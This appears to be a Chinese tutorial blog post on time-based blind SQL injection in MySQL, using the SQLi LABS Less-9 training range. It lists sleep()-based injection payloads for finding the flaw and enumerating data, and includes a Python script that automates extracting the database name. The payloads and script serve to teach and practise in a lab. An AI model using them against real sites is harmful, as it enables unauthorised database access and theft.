超硬核,SQL注入之时间盲注,原理+步骤+实战思路

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时间盲注

  • 一、什么是时间盲注?
  • 二、使用场景
  • 三、使用步骤
    • 第一步:判断注入点
    • 第二步:判断长度
    • 第三步:枚举字符
  • 四、时间盲注的弊端
  • 五、盲注脚本
  • 六、实战思路
    • 1. 判断是否存在时间盲注
      • 原理分析
    • 2. 脱库
      • 2.1 判断返回结果的长度
        • 原理分析
      • 2.2 枚举字符
        • 原理分析
  • 七、误差判断
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一、什么是时间盲注?

时间盲注是指基于时间的盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。

二、使用场景

时间盲注使用的优先级并不高,通常是在联合注入、报错注入、布尔盲注都无法使用时才会考虑使用:

  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

三、使用步骤

时间盲注的使用方式跟布尔盲注大同小异,可以分为三个步骤。

第一步:判断注入点

依次尝试以下类型的测试payload,延时5秒以上则说明判断成立,即存在注入

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a

括号及各种过滤类型……

提示:sleep的时间可以自定义,时间太长效率太低、时间太短则不容易判断。

第二步:判断长度

利用MySQL的 if() 和 sleep() 判断查询结果的长度,从1开始判断,并依次递增。

?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a

如果页面响应时间超过5秒,说明长度判断正确(sleep(5));
如果页面响应时间不超过5秒(正常响应),说明长度判断错误,继续递增判断长度。
超硬核,SQL注入之时间盲注,原理+步骤+实战思路_第1张图片

第三步:枚举字符

利用MySQL的 if() 和 sleep() 判断字符的内容。
从查询结果中截取第一个字符,转换成ASCLL码,从32开始判断,递增至126。
关于ASCLL码可参考我的另一篇文章:ASCLL编码对照表

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a

如果页面响应时间超过5秒,说明字符内容判断正确;
如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。

第一个字符猜解成功后,依次猜解第二个、第三个……第n个(n表示返回结果的长度)。

四、时间盲注的弊端

  1. 时间盲注的时间复杂度较高,需要消耗大量的时间。
  2. 时间盲注容易受到网络波动等因素的影响,从而产生误差。

时间盲注误差大、时间成本高,通常情况下,能够证明注入存在就可以了。

五、盲注脚本

时间盲注通常会使用脚本自动化猜解,Python脚本如下,可按需修改:

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
	(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
	(ascii(
		substr(
		(database())
		,{n},1)
	) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

六、实战思路

试验靶场:SQLi LABS Less 9
注入情况:单引号字符型注入

1. 判断是否存在时间盲注

确定注入点以后,需要判断网页是否存在时间盲注,同时满足以下两种情况时,可以确定存在时间盲注:

?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a	正常响应

原理分析

if() 函数的第一个参数是条件表达式,1会转换为 True,0会转换为 False。
条件表达式结果为 True 时,会执行第二个参数位置的代码,即 sleep(5),延时5秒响应;
条件表达式结果为 False 时,会执行第三个参数位置的代码,即 3,自定义的占位符,无实际意义,页面正常响应。
在这里插入图片描述

2. 脱库

确定时间盲注存在以后,就可以进行脱库了。
脱库分为两个步骤:判断长度、枚举字符

2.1 判断返回结果的长度

我们以判断当前使用的数据库名的长度来举例,首先判断长度是否大于1。

?id=1' and if(
	(length(database()) >1)
,sleep(5),3) -- a

原理分析

payload拼接到SQL中,执行过程如下:

超硬核,SQL注入之时间盲注,原理+步骤+实战思路_第2张图片

库名的长度肯定大于1,如果页面响应时间大于5秒,说明payload可用,开始从1开始测试长度,依次递增:
超硬核,SQL注入之时间盲注,原理+步骤+实战思路_第3张图片

2.2 枚举字符

库名可用的字符有95个,比如大小写字母、数字、下划线等特殊字符。
我们截取第一个字符,穷举这95种可能性即可,为了方便猜解,我们将字符转换为ASCLL码再进行判断(字符对应的ASCLL为 32~126)。

先判断当前使用的数据库名 第一个字符的ASCLL码是否大于1:

?id=1' and if(
	(ascii(
		substr(
		(database())
		,1,1)
	) >1)
, sleep(5), 3) -- a

原理分析

payload拼接到SQL中,执行过程如下:
超硬核,SQL注入之时间盲注,原理+步骤+实战思路_第4张图片
第一个字符的ASCLL码肯定大于1,页面响应5秒以上,说明payload可用,。
依次判断32到126,页面响应5秒以上说明猜解正确;页面正常响应说明猜解错误。
猜解成功第一个字符后,再依次猜解第二、第三……第n个字符(n表示返回结果的长度)。

七、误差判断

同样的payload,如果第一次响应时间很长,但第二次响应时间很短,就说明是受到了网络波动的影响。如果两次响应时间都很长,则说明延时成功。

原理:数据库会将执行过的SQL语句及执行结果放到缓存里,以减小数据库的访问压力。数据库在执行SQL时,会先找缓存,如果缓存存在一样的SQL,则会直接返回缓存中的查询结果,而不会查找数据库。
这就意味着同样一条SQL,第一次执行时,会消耗较多的时间(查数据库);而第二次执行时,几乎不消耗时间(查缓存)。

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